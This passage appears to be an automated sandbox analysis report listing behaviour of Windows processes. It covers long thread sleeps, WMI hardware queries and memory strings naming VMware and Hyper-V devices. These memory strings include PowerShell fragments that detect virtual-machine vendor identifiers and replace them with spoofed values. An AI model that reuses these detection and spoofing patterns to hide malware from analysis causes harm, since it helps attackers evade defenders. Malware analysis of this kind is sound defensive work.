Source: C:\Windows\System32\svchost.exe TID: 980	Thread sleep time: -79000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6484	Thread sleep count: 77 > 30
Source: C:\Windows\System32\svchost.exe TID: 6484	Thread sleep time: -77000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6476	Thread sleep count: 75 > 30
Source: C:\Windows\System32\svchost.exe TID: 6476	Thread sleep time: -75000s >= -30000s
Source: C:\Windows\System32\sihost.exe TID: 3476	Thread sleep count: 67 > 30
Source: C:\Windows\System32\sihost.exe TID: 3476	Thread sleep time: -67000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5556	Thread sleep count: 64 > 30
Source: C:\Windows\System32\svchost.exe TID: 5556	Thread sleep time: -64000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1552	Thread sleep count: 59 > 30
Source: C:\Windows\System32\svchost.exe TID: 1552	Thread sleep time: -59000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3196	Thread sleep count: 55 > 30
Source: C:\Windows\System32\svchost.exe TID: 3196	Thread sleep time: -55000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3956	Thread sleep count: 57 > 30
Source: C:\Windows\System32\svchost.exe TID: 3956	Thread sleep time: -57000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4036	Thread sleep count: 56 > 30
Source: C:\Windows\System32\svchost.exe TID: 4036	Thread sleep time: -56000s >= -30000s
Source: C:\Windows\System32\ctfmon.exe TID: 6596	Thread sleep count: 54 > 30
Source: C:\Windows\System32\ctfmon.exe TID: 6596	Thread sleep time: -54000s >= -30000s
Source: C:\Windows\System32\dasHost.exe TID: 4152	Thread sleep count: 50 > 30
Source: C:\Windows\System32\dasHost.exe TID: 4152	Thread sleep time: -50000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4636	Thread sleep count: 48 > 30
Source: C:\Windows\System32\svchost.exe TID: 4636	Thread sleep time: -48000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4616	Thread sleep count: 47 > 30
Source: C:\Windows\System32\svchost.exe TID: 4616	Thread sleep time: -47000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\spoolsv.exe	Last function: Thread delayed
Source: C:\Windows\System32\spoolsv.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\sihost.exe	Last function: Thread delayed
Source: C:\Windows\System32\sihost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\ctfmon.exe	Last function: Thread delayed
Source: C:\Windows\System32\ctfmon.exe	Last function: Thread delayed
Source: C:\Windows\System32\dasHost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dasHost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed

Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\Windows\System32 FullSizeInformation	Jump to behavior

Source: C:\Windows\System32\dasHost.exe

Code function: 131_2_000002809238DCE0 FindFirstFileExW,

131_2_000002809238DCE0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: svchost.exe, 00000070.00000000.1633069505.00000177808D7000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Win32_PnPEntityVMware VMCI Bus Device{4d36e97d-e325-11ce-bfc1-08002be10318}System.String[]Win32_PnPEntityVMware VMCI Bus DevicePCI\L5GLB1OV&DEV_0740&SUBSYS_074015AD&REV_10\3&61AAA01&0&3FSystem.String[]VMware, Inc.VMware VMCI Bus DeviceSystemPCI\ZA2OC8U6&DEV_0740&SUBSYS_074015AD&REV_10\3&61AAA01&0&3FvmciOKWin32_ComputerSystemuser-PCBCAAEBA95E435CA5300A680BE9BF735F04A93ECECD18F46C56865C6158D43B74
Source: svchost.exe, 00000070.00000000.1631379586.000001778084D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Win32_PnPEntityMicrosoft Hyper-V Virtualization Infrastructure Driver{4d36e97d-e325-11ce-bfc1-08002be10318}Win32_PnPEntityMicrosoft Hyper-V Virtualization Infrastructure DriverROOT\VID\0000System.String[]MicrosoftMicrosoft Hyper-V Virtualization Infrastructure DriverSystemROOT\VID\0000VidOKWin32_ComputerSystemuser-PCBCAAEBA95E435CA5300A680BE9BF735F04A93ECECD18F46C56865C6158D43B74m
Source: svchost.exe, 00000070.00000000.1661196455.0000017781590000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DiskVMware__
Source: svchost.exe, 00000058.00000000.1501914715.000002AB7CC43000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: (@vmci
Source: svchost.exe, 00000070.00000000.1661196455.0000017781590000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Win32_PnPEntitySCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: svchost.exe, 00000058.00000000.1507761622.000002AB7D720000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: svchost.exe, 00000056.00000000.1485322322.0000029BC7A2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: zSCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000_0r
Source: svchost.exe, 00000058.00000000.1507761622.000002AB7D720000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NECVMWarVMware SATA CD00
Source: svchost.exe, 00000070.00000003.1934284685.00000177815E2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware,
Source: svchost.exe, 00000058.00000000.1507761622.000002AB7D720000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: LSI_SASVMware Virtual disk 6000c2942fce4d06663969f532e45d1a
Source: svchost.exe, 00000002.00000002.1398660296.000001635905D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1397704163.000001635383F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1398746540.0000016359062000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000051.00000002.2736429489.00000237CEF51000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000006D.00000000.1614000316.0000028F03640000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006D.00000000.1615387516.0000028F03F00000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006F.00000000.1621428719.000001F22BA8C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006F.00000000.1623246902.000001F22C307000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006F.00000003.1650628550.000001F22C309000.00000004.00000001.00020000.00000000.sdmp, OfficeClickToRun.exe, 00000074.00000000.1698828870.000001570B559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000070.00000000.1649347225.0000017781213000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Win32_PnPEntitySCSI\DISK&VEN_LZ4ZTPLC&PROD_VIRTUAL_DISK\4&1656F219&0&000000VMware Virtual disk SCSI Disk DeviceWin32_ComputerSystemuser-PC(Standard disk drives)SCSI\DISK&VEN_U3GCMCE2&PROD_VIRTUAL_DISK\4&1656F219&0&000000VMware Virtual disk SCSI Disk DeviceSystem.String[]System.String[]disk{4d36e967-e325-11ce-bfc1-08002be10318}Disk driveWin32_PnPEntityOKDiskDriveWin32_PnPEntity
Source: svchost.exe, 00000070.00000000.1661196455.0000017781590000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DiskSCSI\RAW(Standard disk drives){4d36e967-e325-11ce-bfc1-08002be10318}DiskDrivediskSCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000Win32_ComputerSystemWin32_PnPEntityuser-PCDisk driveOKVMware Virtual disk SCSI Disk DeviceVMware Virtual disk SCSI Disk Device
Source: svchost.exe, 00000068.00000000.1573751858.0000014DE2102000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000058.00000000.1525438710.000002AB7F200000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk 2.0 6000c2942fce4d06663969f532e45d1aPCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218E0F40&0&00NTFS
Source: svchost.exe, 00000058.00000000.1509946822.000002AB7D800000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1ap
Source: svchost.exe, 00000058.00000000.1524317200.000002AB7F153000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: $value = $pr.Value.replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("VMware Virtual disk", $value).replace("VMware", $value).replace("HARDDISK", "WDC").replace("VIRTUAL_DISK", $value)
Source: dwm.exe, 00000039.00000000.1421438028.0000028F87CBB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: svchost.exe, 00000058.00000000.1502549095.000002AB7CC93000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMCI: Using capabilities (0x1c).
Source: svchost.exe, 0000000A.00000002.2516685763.0000025C04A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &@\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000068.00000002.2515892556.0000014DE2036000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}1e
Source: svchost.exe, 00000070.00000003.1915578900.00000177818B3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: stringComputer System ProductComputer System ProductTYVGCC0CC82742-52E4-CC1D-A08F-D3A4823E8F04VMware, Inc.None
Source: svchost.exe, 0000000A.00000002.2555931604.0000025C04A7C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: OfficeClickToRun.exe, 00000074.00000002.2726358341.000001570C0D2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: appv:SoftwareClients/appv:JavaVirtualMachine)
Source: svchost.exe, 00000058.00000000.1507761622.000002AB7D720000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: nonicNECVMWarVMware SATA CD00
Source: svchost.exe, 00000058.00000000.1509946822.000002AB7D800000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1a@
Source: svchost.exe, 00000058.00000000.1507183605.000002AB7D6CC000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: vmcir:m
Source: svchost.exe, 00000058.00000000.1507761622.000002AB7D720000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: nonicVMware Virtual disk 6000c29cbcceb42671d1430c5a2a776c
Source: svchost.exe, 00000058.00000000.1525438710.000002AB7F200000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk 2.0 6000c29cbcceb42671d1430c5a2a776cPCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218E0F40&0&00NTFS
Source: svchost.exe, 00000058.00000000.1509946822.000002AB7D812000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk2.06000c29cbcceb42671d1430c5a2a776cPCI Slot 32 : Bus 2 : Device 0 : Function 0 : Adapter 0 : Port 0 : Target 0 : LUN 0PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218e0f40&0&00
Source: svchost.exe, 00000068.00000000.1572890773.0000014DE202B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: "@\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000070.00000000.1665419098.0000017781800000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000070.00000000.1658423819.00000177814CA000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000070.00000000.1635401063.00000177809CD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: svchost.exe, 00000070.00000000.1649347225.0000017781213000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: svchost.exe, 00000070.00000000.1649347225.0000017781213000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00
Source: svchost.exe, 00000070.00000000.1635401063.00000177809CD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Win32_PnPEntityMicrosoft Hyper-V Generation Counter{4d36e97d-e325-11ce-bfc1-08002be10318}System.String[]Win32_PnPEntityMicrosoft Hyper-V Generation CounterACPI\VMW0001\7System.String[]MicrosoftMicrosoft Hyper-V Generation CounterSystemACPI\VMW0001\7gencounterOKWin32_ComputerSystemuser-PCBCAAEBA95E435CA5300A680BE9BF735F04A93ECECD18F46C56865C6158D43B74f
Source: svchost.exe, 00000070.00000000.1631379586.000001778084D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000070.00000000.1666097721.00000177818B6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: svchost.exe, 00000058.00000000.1524317200.000002AB7F153000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: if(($pr.Name -eq "DeviceId" -or $pr.Name -eq "Caption" -or $pr.Name -eq "Name" -or $pr.Name -eq "PNPDeviceID" -or $pr.Name -eq "Service" -or $pr.Name -eq "Description") -and ($pr.Value -match 'VEN_80EE' -or $pr.Value -match 'VEN_15AD' -or $pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VMWare' -or $pr.Value -match '82801FB' -or $pr.Value -match '82441FX' -or $pr.Value -match '82371SB' -or $pr.Value -match 'OpenHCD'))
Source: svchost.exe, 00000058.00000000.1507761622.000002AB7D6DD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: dowvmci
Source: svchost.exe, 00000058.00000000.1507761622.000002AB7D720000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware
Source: svchost.exe, 00000070.00000002.2809444149.00000177815B6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware VMCI Bus Device
Source: svchost.exe, 00000070.00000000.1666097721.00000177818B6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Win32_PnPEntityPCI\ZA2OC8U6&DEV_0740&SUBSYS_074015AD&REV_10\3&61AAA01&0&3FVMware VMCI Bus DeviceWin32_ComputerSystemuser-PCVMware, Inc.PCI\L5GLB1OV&DEV_0740&SUBSYS_074015AD&REV_10\3&61AAA01&0&3FVMware VMCI Bus DeviceSystem.String[]System.String[]vmci{4d36e97d-e325-11ce-bfc1-08002be10318}VMware VMCI Bus DeviceWin32_PnPEntityOKSystemWin32_PnPEntity
Source: svchost.exe, 00000058.00000000.1501606126.000002AB7CC2B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000058.00000002.2553811851.000002AB7CC31000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @Microsoft-Windows-Hyper-V-Hypervisoron
Source: svchost.exe, 00000058.00000000.1519460664.000002AB7DE12000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
Source: svchost.exe, 00000070.00000000.1666097721.00000177818B6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Win32_PnPEntityROOT\VID\0000Microsoft Hyper-V Virtualization Infrastructure DriverWin32_ComputerSystemuser-PCMicrosoftROOT\VID\0000Microsoft Hyper-V Virtualization Infrastructure DriverSystem.String[]Vid{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Virtualization Infrastructure DriverWin32_PnPEntityOKSystemWin32_PnPEntity
Source: svchost.exe, 0000000A.00000002.2516685763.0000025C04A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: dialer.exe, 00000051.00000002.2736429489.00000237CEEF8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`j
Source: svchost.exe, 0000000A.00000002.2528081013.0000025C04A4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}st
Source: svchost.exe, 00000058.00000000.1524317200.000002AB7F153000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: if(($pr.Name -eq "Caption" -or $pr.Name -eq "Name" -or $pr.Name -eq "PNPDeviceID" -or $pr.Name -eq "AdapterCompatibility" -or $pr.Name -eq "Description" -or $pr.Name -eq "InfSection" -or $pr.Name -eq "VideoProcessor") -and ($pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VirtualBox' -or $pr.Value -match 'VMware' -or $pr.Value -match 'Oracle Corporation' -or $pr.Value -match 'Microsoft Basic Display Adapter'))
Source: svchost.exe, 00000068.00000000.1573751858.0000014DE2102000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000068.00000002.2515892556.0000014DE2036000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000,@
Source: svchost.exe, 00000068.00000000.1572890773.0000014DE202B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000058.00000000.1507761622.000002AB7D720000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: LSI_SASVMware Virtual disk 6000c29cbcceb42671d1430c5a2a776c
Source: svchost.exe, 00000070.00000000.1661196455.0000017781590000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DiskVMware__Virtual_disk____2.0_SCSI\DiskVMware__Virtual_disk____SCSI\DiskVMware__SCSI\VMware__Virtual_disk____2VMware__Virtual_disk____2GenDisk
Source: svchost.exe, 00000068.00000000.1573105114.0000014DE2040000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: "@SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: svchost.exe, 00000070.00000000.1661196455.0000017781590000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware__Virtual_disk____2
Source: lsass.exe, 00000031.00000000.1407822225.000001BA8DA89000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicvssNT SERVICE
Source: svchost.exe, 0000000A.00000002.2528081013.0000025C04A4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: olume{ad6cc5d8-f1a9-4873-be33-91b2f05e9306}\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D: @
Source: svchost.exe, 00000070.00000003.1915578900.00000177818B3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: svchost.exe, 0000000A.00000002.2555931604.0000025C04A81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
